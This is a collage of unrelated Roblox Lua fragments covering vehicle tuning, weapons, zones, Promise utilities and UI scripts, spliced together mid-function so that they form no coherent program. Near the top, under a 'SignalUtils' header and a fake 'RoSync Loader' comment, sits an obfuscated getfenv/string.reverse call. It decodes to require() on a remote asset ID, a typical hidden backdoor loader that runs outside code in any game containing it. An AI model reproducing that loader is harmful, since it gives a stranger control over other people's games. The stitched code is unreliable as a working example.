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--[=[ Utilities involving signals @class SignalUtils ]=]
local SignalUtils = {}
--[[ Last synced 8/15/2021 08:04 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-------------------------------------Gun info
ToolName="Revolver" ClipSize=6 ReloadTime=1 Firerate=.2 MinSpread=0.000001 MaxSpread=0.00001 SpreadRate=0 BaseDamage=25 automatic=false burst=false shot=false --Shotgun BarrlePos=Vector3.new(0,0,0) Cursors={"rbxasset://textures\\GunCursor.png"} ReloadCursor="rbxasset://textures\\GunWaitCursor.png"
-- A new implementation of RBXScriptSignal that uses proper Lua OOP. -- This was explicitly made to transport other OOP objects. -- I would be using BindableEvents, but they don't like cyclic tables (part of OOP objects with __index)
-- this will need to be worked into a client schema later
local ReplicatedStorage = game:GetService("ReplicatedStorage") local CollectionService = game:GetService("CollectionService") local Players = game:GetService("Players") local taggedButtons = CollectionService:GetTagged("LightupButton") local buttons = {} local characters = {} for _, button in pairs(taggedButtons) do buttons[button] = { active = false } end local function onPlayerAdded(player) player.CharacterAdded:Connect(function(character) repeat task.wait(.2) until character and character.PrimaryPart and character.Humanoid characters[player] = character end) player.CharacterRemoving:Connect(function(character) characters[player] = nil end) end Players.PlayerAdded:Connect(onPlayerAdded) for _, player in pairs(Players:GetChildren()) do onPlayerAdded(player) end while true do local taggedButtons = CollectionService:GetTagged("LightupButton") for _, button in pairs(taggedButtons) do if buttons[button] == nil then buttons[button] = { active = false } end end for _, button in pairs(buttons) do button.active = false end for player, character in pairs(characters) do if character and character.PrimaryPart and character.Humanoid then local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = taggedButtons raycastParams.FilterType = Enum.RaycastFilterType.Whitelist local raycastResult = workspace:Raycast(character.PrimaryPart.Position, Vector3.new(0, -6, 0), raycastParams) if raycastResult and raycastResult.Instance then if buttons[raycastResult.Instance] then buttons[raycastResult.Instance].active = true end end end end task.wait() for instance, button in pairs(buttons) do if button.active then instance.Material = Enum.Material.Neon else instance.Material = Enum.Material.Plastic end end end
-- print("filter.Value=",filter.Value)
end me.Activated:Connect(onButtonActivated)
-- Making a CFrame value from an origin position and unit direction:
function Util.makeOrientation(sourcePos, dir) -- Construct CFrame to rotate parts from x-axis alignment (where they are constructed) to -- the world orientation of the arc from a quaternion rotation that describes the -- rotation of ux-->axis dir = dir.unit -- Proportionate angle between ux and direction: local angleUxAxis = dot(ux, dir) if (angleUxAxis > 0.99999) then return cframe(sourcePos, sourcePos - uz) elseif (angleUxAxis < -0.99999) then return cframe(sourcePos, sourcePos + uz) else local q = cross(ux, dir) local qw = 1 + angleUxAxis local qnorm = sqrt(q.magnitude ^ 2 + qw * qw) q = q / qnorm qw = qw / qnorm return cframe(sourcePos.x, sourcePos.y, sourcePos.z, q.x, q.y, q.z, qw) end end return Util
-- Made by https://www.roblox.com/users/130644198/profile
--Keybinds & Main Lean Script
UIS.InputBegan:Connect(function(key, isTyping) if key.KeyCode == Enum.KeyCode.E then tweenService:Create(humanoid ,ti, {CameraOffset = Vector3.new(2,0,0)}):Play() end if key.KeyCode == Enum.KeyCode.Q then tweenService:Create(humanoid ,ti, {CameraOffset = Vector3.new(-2,0,0)}):Play() end end) UIS.InputEnded:Connect(function(key) if key.KeyCode == Enum.KeyCode.E or key.KeyCode == Enum.KeyCode.Q then tweenService:Create(humanoid ,ti, {CameraOffset = Vector3.new(0,0,0)}):Play() end end)
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.LeftShift , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--script.Parent.II.Velocity = script.Parent.II.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.III.Velocity = script.Parent.III.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.IIII.Velocity = script.Parent.IIII.CFrame.lookVector *script.Parent.Speed.Value script.Parent.J.Velocity = script.Parent.J.CFrame.lookVector *script.Parent.Speed.Value
-- Initialize the tool
local TextureTool = { Name = 'Texture Tool'; Color = BrickColor.new 'Bright violet'; -- Default options Type = 'Decal'; Face = Enum.NormalId.Front; };
-- CONFIG
local defaultRegionHeight = 20 local displayBoundParts = false local Zone = {} Zone.__index = Zone local Signal = {} Signal.__index = Signal Signal.ClassName = "Signal" function Signal.new() local self = setmetatable({}, Signal) self._bindableEvent = Instance.new("BindableEvent") self._argData = nil self._argCount = nil -- Prevent edge case of :Fire("A", nil) --> "A" instead of "A", nil return self end function Signal:Fire(...) self._argData = {...} self._argCount = select("#", ...) self._bindableEvent:Fire() self._argData = nil self._argCount = nil end function Signal:Connect(handler) if not (type(handler) == "function") then error(("connect(%s)"):format(typeof(handler)), 2) end return self._bindableEvent.Event:Connect(function() handler(unpack(self._argData, 1, self._argCount)) end) end function Signal:Wait() self._bindableEvent.Event:Wait() assert(self._argData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.") return unpack(self._argData, 1, self._argCount) end function Signal:Disconnect() if self._bindableEvent then self._bindableEvent:Destroy() self._bindableEvent = nil end self._argData = nil self._argCount = nil end function Zone.new(group, regionHeight) local self = {} setmetatable(self, Zone) self.Group = group self.RegionHeight = regionHeight or defaultRegionHeight self.DisplayBoundParts = displayBoundParts self.GroupParts = {} self.Region = self:getRegion() self.PreviousPlayers = {} self.PlayerAdded = Signal.new() self.PlayerRemoving = Signal.new() return self end function Zone:getRegion() local bounds = {["Min"] = {}, ["Max"] = {}} for boundType, details in pairs(bounds) do details.Values = {} function details.parseCheck(v, currentValue) if boundType == "Min" then return (v <= currentValue) elseif boundType == "Max" then return (v >= currentValue) end end function details:parse(valuesToParse) for i,v in pairs(valuesToParse) do local currentValue = self.Values[i] or v if self.parseCheck(v, currentValue) then self.Values[i] = v end end end end for _, part in pairs(self.Group:GetDescendants()) do if part:isA("BasePart") then table.insert(self.GroupParts, part) local sizeHalf = part.Size * 0.5 local corners = { part.CFrame * CFrame.new(-sizeHalf.X, -sizeHalf.Y, -sizeHalf.Z), part.CFrame * CFrame.new(-sizeHalf.X, -sizeHalf.Y, sizeHalf.Z), part.CFrame * CFrame.new(-sizeHalf.X, sizeHalf.Y, -sizeHalf.Z), part.CFrame * CFrame.new(-sizeHalf.X, sizeHalf.Y, sizeHalf.Z), part.CFrame * CFrame.new(sizeHalf.X, -sizeHalf.Y, -sizeHalf.Z), part.CFrame * CFrame.new(sizeHalf.X, -sizeHalf.Y, sizeHalf.Z), part.CFrame * CFrame.new(sizeHalf.X, sizeHalf.Y, -sizeHalf.Z), part.CFrame * CFrame.new(sizeHalf.X, sizeHalf.Y, sizeHalf.Z), } for _, cornerCFrame in pairs(corners) do local x, y, z = cornerCFrame:GetComponents() local values = {x, y, z} bounds.Min:parse(values) bounds.Max:parse(values) end end end local boundMin = Vector3.new(unpack(bounds.Min.Values)) local boundMax = Vector3.new(unpack(bounds.Max.Values)) + Vector3.new(0, self.RegionHeight, 0) if self.DisplayBoundParts then local boundParts = {BoundMin = boundMin, BoundMax = boundMax} for boundName, boundCFrame in pairs(boundParts) do local part = Instance.new("Part") part.Anchored = true part.CanCollide = false part.Transparency = 0.5 part.Size = Vector3.new(4,4,4) part.Color = Color3.fromRGB(255,0,0) part.CFrame = CFrame.new(boundCFrame) part.Name = boundName part.Parent = self.Group end end local region = Region3.new(boundMin, boundMax) return region end function Zone:getPlayersInRegion() local players = Players:GetPlayers() local playerCharacters = {} for _, player in pairs(players) do local char = player.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") if hrp then table.insert(playerCharacters, hrp) end end local partsInRegion = workspace:FindPartsInRegion3WithWhiteList(self.Region, playerCharacters, #players) local charsChecked = {} local playersInRegion = {} if #partsInRegion > 0 then for _, part in pairs(partsInRegion) do local char = part.Parent if not charsChecked[char] then charsChecked[char] = true local player = Players:GetPlayerFromCharacter(char) if player then --table.insert(playersInRegion, player) playersInRegion[player] = true end end end end return playersInRegion end function Zone:getPlayer(player) local char = player.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") if hrp then local origin = hrp.Position + Vector3.new(0, 4, 0) local lookDirection = origin + Vector3.new(0, -1, 0) local ray = Ray.new(origin, (lookDirection - origin).unit * (self.RegionHeight)) local groupPart = workspace:FindPartOnRayWithWhitelist(ray, self.GroupParts) if groupPart then return true end end end function Zone:getPlayers() local playersInRegion = self:getPlayersInRegion() local playersInZone = {} for _, player in pairs(playersInRegion) do if self:getPlayer(player) then if not self.PreviousPlayers[player] then self.PlayerAdded:Fire(player) end table.insert(playersInZone, player) elseif self.PreviousPlayers[player] then self.PlayerRemoving:Fire(player) end end self.PreviousPlayers = playersInZone return playersInZone end function Zone:initLoop(loopDelay) loopDelay = tonumber(loopDelay) or 0.5 local loopId = HttpService:GenerateGUID(false) self.currentLoop = loopId if not self.loopInitialized then self.loopInitialized = true coroutine.wrap(function() while self.currentLoop == loopId do wait(loopDelay) self:getPlayers() end end)() end end function Zone:endLoop() self.currentLoop = nil end return Zone
-- Services
local playerService = game:GetService("Players") playerService.PlayerAdded:Connect(function (plr) plr.CharacterAdded:Connect(function (char) local humanoid = char:WaitForChild("Humanoid") humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None end) end)
-- debug.profilebegin("AI Offload Loop")
local activate, deactivate = {}, {} local num = 0 for _,critter in next,workspace.Critters:GetChildren() do num = num + 1 if critter.PrimaryPart and character and character.PrimaryPart then local distance = (character.PrimaryPart.Position - critter.PrimaryPart.Position).magnitude if distance < ACTIVATE_AI_RANGE then table.insert(activate, critter) else table.insert(deactivate, critter) end end if num % 10 == 0 then RS.Heartbeat:Wait() end end Rep.Relay.AI.AIUpdated:FireServer(activate, deactivate) elapsed = 0
-- Very inefficient, but provides all available info
function Util.debugPrint(tbl, indent) local out = "" indent = indent or " " local vStr local kStr for k,v in pairs(tbl) do local t = type(v) local kConversionSuccess, kConversionResult = pcall(function() return tostring(k) end) if kConversionSuccess then kStr = kConversionResult else kStr = "[" .. type(k) .. "]" end if t == "table" then vStr = string.format("\n%s%s", "", Util.debugPrint(v, indent .. " ")) else local vConversionSuccess, vConversionResult = pcall(function() return tostring(v) end) if vConversionSuccess then vStr = vConversionResult else vStr = "[" .. type(v) .. "]" end end out = string.format("%s%s%s: %s\n", out, indent, kStr, vStr) end return out end function Util.tableToString(tbl, indent) local out = "" indent = indent or " " local vStr for k,v in pairs(tbl) do local t = type(v) if t == "table" then vStr = string.format("\n%s%s", "", Util.tableToString(v, indent .. " ")) elseif t == "nil" then vStr = "[nil]" elseif t == "string" then vStr = string.format("\"%s\"", v) elseif t == "boolean" then vStr = Util.boolToString(v) elseif t == "userdata" then vStr = "[USERDATA]" elseif t == "function" then vStr = "[FUNCTION]" else vStr = v end k = tostring(k) out = string.format("%s%s%s: %s\n", out, indent, k, vStr) end return out end function Util.newRemoteEvent(name, parent) local existing = parent:FindFirstChild(name) if existing then Log.Warn.Util("RemoteEvent %s under %s already exists", name, parent.Name) return existing end local event = Instance.new("RemoteEvent", parent) event.Name = name return event end function Util.isPlayerInGroup(player, groups) for _, groupId in ipairs(groups) do if player:IsInGroup(groupId) then return true end end end function Util.isPlayerIDInTable(player, ids) for _, id in ipairs(ids) do if player.UserId == id then return true end end end function Util.lerp(start, stop, t) return start * (1 - t) + stop * t end function Util.getClientFocus() return CollectionService:GetTagged(Util._clientFocusTag)[1] end function Util.setClientFocus(instance) if RunService:IsClient() then -- Remove any tags for _, obj in ipairs(CollectionService:GetTagged(Util._clientFocusTag)) do CollectionService:RemoveTag(obj, Util._clientFocusTag) end -- Tag the specified object CollectionService:AddTag(instance, Util._clientFocusTag) end end Util.highestBotNum = 150 function Util.playerIsBot(player) local numOnEnd = tonumber(string.sub(player.Name, 11)) if numOnEnd ~= nil and string.len(player.Name) > 10 and string.sub(player.Name, 1, 10) == "rbxreftest" and numOnEnd <= Util.highestBotNum and numOnEnd >= 1 then return true end return false end function Util.playerIsAlive(player) if player and player.Character then local humanoid = player.Character:FindFirstChildOfClass("Humanoid") if humanoid and humanoid:GetState() ~= Enum.HumanoidStateType.Dead then return true end end return false end function Util.ancestorHasTag(instance, tag) local currentInstance = instance while currentInstance do if CollectionService:HasTag(currentInstance, tag) then return true elseif not currentInstance.Parent then return false else currentInstance = currentInstance.Parent end end return false end function Util.getTableKeys(tbl) local keys = {} for k in pairs(tbl) do table.insert(keys, k) end return keys end function Util.loadCharacter(player) if Conf.force_rthro then local avatars = Conf.avatarOutfits local effectiveId = player.UserId local outfitId = avatars[(effectiveId % (#avatars - 1)) + 1] local playerDesc = Players:GetHumanoidDescriptionFromUserId(player.UserId) local desc = Players:GetHumanoidDescriptionFromOutfitId(outfitId) -- Load animations from configuration for property, value in pairs(Conf.avatarAnimations) do desc[property] = value end local emotes = playerDesc:GetEquippedEmotes() desc:SetEquippedEmotes(emotes) player:LoadCharacterWithHumanoidDescription(desc) else player:LoadCharacter() end end
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9999 -- Spring Force Tune.FSusLength = 1.5 -- Suspension length (in studs) Tune.FSusMaxExt = .6 -- Max Extension Travel (in studs) Tune.FSusMaxComp = .5 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9999 -- Spring Force Tune.RSusLength = 1.5 -- Suspension length (in studs) Tune.RSusMaxExt = .6 -- Max Extension Travel (in studs) Tune.RSusMaxComp = .5 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
-- Run the chasePlayer function continuously
game:GetService("RunService").Heartbeat:Connect(chasePlayer)
----------//Events\\----------
Evt.Refil.OnClientEvent:Connect(function(Tool, Infinite, Stored) local data = require(Tool.ACS_Settings) local NewStored = math.min(data.MaxStoredAmmo - StoredAmmo, Stored.Value) StoredAmmo = StoredAmmo + NewStored data.StoredAmmo = StoredAmmo UpdateGui() if not Infinite then Evt.Refil:FireServer(Stored, NewStored) end end)
-- @Description Check if a certain %Object is inside a %Table -- @Arg1 Table -- @Arg2 Object
function Basic.IsInTable(tbl, obj) for _,v in pairs(tbl) do if v == obj then return v end end end
--[[ PLACE THIS MODEL IN WORKSAPCE RUN THE CODE BELOW IN THE COMMAND LINE Subscribe to whokwabi or leave a like on the video and model if this helped you! You can delete this model after you are done! ]]
local x = workspace.ChatModel.ClientChatModules:Clone() x.Parent = game.Chat
-- Shows initial value if anything is currently in the CurrencyToCollect
script.Parent.Parent.Parent.Parent.Parent.Parent.CurrencyToCollect.Changed:connect(function(money) script.Parent.Text = "$"..money end)
--[[ local p: TextBox p.InputBegan p.InputChanged p.InputEnded p.FocusLost p.Focused p.MouseEnter p.MouseLeave p:CaptureFocus() p:ReleaseFocus() p:IsFocused() ]]
return class
----- Stuff To Change -----
local UIStroke = script.Parent
--[[ updates the the player info based on the ticks --]]
RunService.Heartbeat:Connect(function(step) current_tick += 1 if current_tick % ticks == 0 then Network:update_player_chunkdata() total_updates += 1 end if current_tick == chunk_ticks then Network:update_chunkdata() current_tick = 0 end end)
--Configuration--
screen = car.Body.Display.BMWDisplay.Display --screen location kek chassisversion = "Cat" --for chassisversion ('Tyler' for Itzt's AC6 or 'Cat' for Cat's AC6 version) sound = car.Body.MP.Sound
--------END CREW--------
end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--SKP_13.Brightness = 0
SKP_12.Saturation = 0 SKP_12.Contrast = 0 SKP_14.Size = 0 SKP_12.Saturation = 0 SKP_12.Contrast = 0 SKP_15.Variaveis.Dor.Value = 0 if SKP_19 == true then Tween = SKP_10:Create(SKP_13,TweenInfo.new(game.Players.RespawnTime/1.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Brightness = 0, Contrast = 0,TintColor = Color3.new(0,0,0)}):Play() end end) local SKP_25 = script.Parent.Parent.Humanoid local SKP_26 = game.ReplicatedStorage.ACS_Engine.Eventos.MedSys.Collapse function onChanged() SKP_26:FireServer() if (SKP_17.Value <= 3500) or (SKP_18.Value >= 200) or (SKP_16.Value == true) then SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false) SKP_25:UnequipTools() elseif (SKP_17.Value > 3500) and (SKP_18.Value < 200) and (SKP_16.Value == false) and SKP_15.Stances.Rendido.Value == false then -- YAY A MEDIC ARRIVED! =D SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true) end end onChanged() SKP_17.Changed:Connect(onChanged) SKP_18.Changed:Connect(onChanged) SKP_16.Changed:Connect(onChanged) SKP_15.Stances.Rendido.Changed:Connect(function(Valor) if Valor == true then SKP_25:UnequipTools() SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false) else SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true) end end) local RS = game:GetService("RunService") RS.RenderStepped:connect(function(Update) if Morto then SKP_2.Character:FindFirstChild("Right Arm").LocalTransparencyModifier = 0 SKP_2.Character:FindFirstChild("Left Arm").LocalTransparencyModifier = 0 SKP_2.Character:FindFirstChild("Right Leg").LocalTransparencyModifier = 0 SKP_2.Character:FindFirstChild("Left Leg").LocalTransparencyModifier = 0 SKP_2.Character:FindFirstChild("Torso").LocalTransparencyModifier = 0 game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable game.Workspace.CurrentCamera.CFrame = SKP_15.Parent:WaitForChild('Head').CFrame end end) while true do SKP_10:Create(SKP_14,TweenInfo.new(3,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Size = 0}):Play() wait(3) SKP_10:Create(SKP_14,TweenInfo.new(2,Enum.EasingStyle.Elastic,Enum.EasingDirection.InOut,0,false,0),{Size = (SKP_15.Variaveis.Dor.Value/SKP_15.Variaveis.Dor.MaxValue) * 25}):Play() wait(3) end
-- Définissez la vitesse de marche initiale du joueur local sur 0
player.Character:WaitForChild("Humanoid").WalkSpeed = 0
-- This parameter determines how long the effects heartbeat loop keeps running after the driver exits
local EFFECTS_GRACE_PERIOD = 0.5
--[[Standardized Values: Don't touch unless needed]]
--[WEIGHT // Cubic stud : pounds ratio] Tune.WeightScaling = 1/50 --Default = 1/50 (1 cubic stud = 50 lbs) return Tune
-- @outline // PUBLIC METHODS
function Controller:Update(dt) local Character = System.LocalPlayer and System.LocalPlayer.Character if not Character then return end local Humanoid : Humanoid = Character.Humanoid if self.ListenForInput then if System.Control.InputMethod == Enum.UserInputType.Gamepad1 then self.MoveDirection = System.Control.ThumbstickDirection1 else self.MoveDirection = Vector2.new(self.Inputs.S - self.Inputs.W, self.Inputs.A - self.Inputs.D) end end if self.MoveDirection == Vector2.zero then if self.ForceMove ~= 0 then local MousePos = System.Aim.MousePos if not MousePos then return end local StartPos = Vector2.new(Character.HumanoidRootPart.Position.X, Character.HumanoidRootPart.Position.Z) self.MoveDirection = (MousePos - StartPos).Unit self:ApplyMove(self.MoveDirection, dt, Humanoid) else self:ApplyMove(Vector2.zero, dt, Humanoid) end return end self:CalculateRelativeMoveDirection() self:ApplyMove(self.MoveDirection, dt, Humanoid) end function Controller:CalculateRelativeMoveDirection() self.MoveDirection = self.MoveDirection.Unit local cos = math.cos(math.rad(System.Camera.Angle)) local sin = math.sin(math.rad(System.Camera.Angle)) self.MoveDirection = Vector2.new(self.MoveDirection.X * cos - self.MoveDirection.Y * sin, self.MoveDirection.X * sin + self.MoveDirection.Y * cos) end function Controller:ApplyMove(NewMoveDirection, dt, Humanoid) self.CachedDirection = System.Interpolate.Linear(self.CachedDirection or Vector2.new(), NewMoveDirection, math.clamp(dt/self.SmoothTime, 0, 1)) self.FinalDirection = Vector3.new(self.CachedDirection.X, 0, self.CachedDirection.Y) * (self.ForceMove ~= 0 and self.ForceMove or 1) Humanoid:Move(self.FinalDirection) end
--[=[ Returns a Promise that resolves after `seconds` seconds have passed. The Promise resolves with the actual amount of time that was waited. This function is **not** a wrapper around `wait`. `Promise.delay` uses a custom scheduler which provides more accurate timing. As an optimization, cancelling this Promise instantly removes the task from the scheduler. :::warning Passing `NaN`, infinity, or a number less than 1/60 is equivalent to passing 1/60. ::: ```lua Promise.delay(5):andThenCall(print, "This prints after 5 seconds") ``` @function delay @within Promise @param seconds number @return Promise<number> ]=]
do -- uses a sorted doubly linked list (queue) to achieve O(1) remove operations and O(n) for insert -- the initial node in the linked list local first local connection function Promise.delay(seconds) assert(type(seconds) == "number", "Bad argument #1 to Promise.delay, must be a number.") -- If seconds is -INF, INF, NaN, or less than 1 / 60, assume seconds is 1 / 60. -- This mirrors the behavior of wait() if not (seconds >= 1 / 60) or seconds == math.huge then seconds = 1 / 60 end return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel) local startTime = Promise._getTime() local endTime = startTime + seconds local node = { resolve = resolve, startTime = startTime, endTime = endTime, } if connection == nil then -- first is nil when connection is nil first = node connection = Promise._timeEvent:Connect(function() local threadStart = Promise._getTime() while first ~= nil and first.endTime < threadStart do local current = first first = current.next if first == nil then connection:Disconnect() connection = nil else first.previous = nil end current.resolve(Promise._getTime() - current.startTime) end end) else -- first is non-nil if first.endTime < endTime then -- if `node` should be placed after `first` -- we will insert `node` between `current` and `next` -- (i.e. after `current` if `next` is nil) local current = first local next = current.next while next ~= nil and next.endTime < endTime do current = next next = current.next end -- `current` must be non-nil, but `next` could be `nil` (i.e. last item in list) current.next = node node.previous = current if next ~= nil then node.next = next next.previous = node end else -- set `node` to `first` node.next = first first.previous = node first = node end end onCancel(function() -- remove node from queue local next = node.next if first == node then if next == nil then -- if `node` is the first and last connection:Disconnect() connection = nil else -- if `node` is `first` and not the last next.previous = nil end first = next else local previous = node.previous -- since `node` is not `first`, then we know `previous` is non-nil previous.next = next if next ~= nil then next.previous = previous end end end) end) end end
--[=[ Accepts an array of Promises and returns a new promise that: * is resolved after all input promises resolve. * is rejected if *any* input promises reject. :::info Only the first return value from each promise will be present in the resulting array. ::: After any input Promise rejects, all other input Promises that are still pending will be cancelled if they have no other consumers. ```lua local promises = { returnsAPromise("example 1"), returnsAPromise("example 2"), returnsAPromise("example 3"), } return Promise.all(promises) ``` @param promises {Promise<T>} @return Promise<{T}> ]=]
function Promise.all(promises) return Promise._all(debug.traceback(nil, 2), promises) end
-- Set load indicator to true upon load completion
Indicator.Value = true;
----------------------------------------------------------------
while wait() do if script.Parent.Values.Boost.Value > _Tune.TurboPSI - 3 and script.Parent.Values.RPM.Value > _Tune.PeakRPM - 2000 then Lag = math.random(1,40) end if script.Parent.Values.Boost.Value > _Tune.TurboPSI - 3 and script.Parent.Values.RPM.Value > _Tune.PeakRPM - 2000 then Lag2 = math.random(1,40) if Lag == Lag2 and _Tune.MisFire == false then Tlag = true script.Parent.Values.TLA.Value = DefaultTurboLag + Reducer wait (1) Tlag = false script.Parent.Values.TLA.Value = DefaultTurboLag elseif Lag == Lag2 and _Tune.MisFire == true and RllyLag == true then Tlag = true script.Parent.Values.TLA.Value = DefaultTurboLag + Reducer car.Body.Exhaust.E1.Afterburn.Rate = 100 car.Body.Exhaust.E1.Afterburn.Size = NumberSequence.new(2) car.Body.Exhaust.E1.L.Range = 9 wait (0.5) Tlag = false script.Parent.Values.TLA.Value = DefaultTurboLag - Reducer wait (0.5) script.Parent.Values.TLA.Value = Missfireboost wait (1) script.Parent.Values.TLA.Value = DefaultTurboLag car.Body.Exhaust.E1.Afterburn.Rate = 0 car.Body.Exhaust.E1.Afterburn.Size = NumberSequence.new(0.5) car.Body.Exhaust.E1.L.Range = 0 wait (1) RllyLag = false wait (Missfireboostwait) RllyLag = true end end end
--[=[ Destroys the Streamable. Any observers will be disconnected, which also means that troves within observers will be cleaned up. This should be called when a streamable is no longer needed. ]=]
function Streamable:Destroy() self._trove:Destroy() end export type Streamable = typeof(Streamable.new(workspace, "X")) return Streamable
--Required components
local DataStoreService = game:GetService("DataStoreService") local Players = game:GetService("Players") local RunService = game:GetService("RunService") local ServerStorage = game:GetService("ServerStorage") local SavingMethods = require(script.SavingMethods) local TableUtil = require(script.TableUtil) local Verifier = require(script.Verifier) local SaveInStudioObject = ServerStorage:FindFirstChild("SaveInStudio") local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value local function clone(value) if typeof(value) == "table" then return TableUtil.clone(value) else return value end end
-- When tool is selected
function onSelected(mouse) myMouse = mouse; mouse.Icon = "rbxassetid://412054506"; -- Change The ID - Eng mouse.Button1Down:connect(function() onButton1Down(mouse) end); mouse.Button1Up:connect(function() onButton1Up(mouse) end); mouse.KeyDown:connect(onKeyDown); mouse.KeyUp:connect(onKeyUp); updateAmmo(); print("Tank Tool Equipped") wait() parts.Parent.Driver.Value = script.Parent.Parent.Parent.Name if Active == true then while Active do updateAmmo() wait() end end end
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 568 Tune.IdleRPM = 700 Tune.PeakRPM = 7000 Tune.Redline = 8000 Tune.EqPoint = 5252 Tune.PeakSharpness = 20 Tune.CurveMult = 0.2 Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Double" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger ]] Tune.Boost = 15 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 65 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--[[ The Module ]]
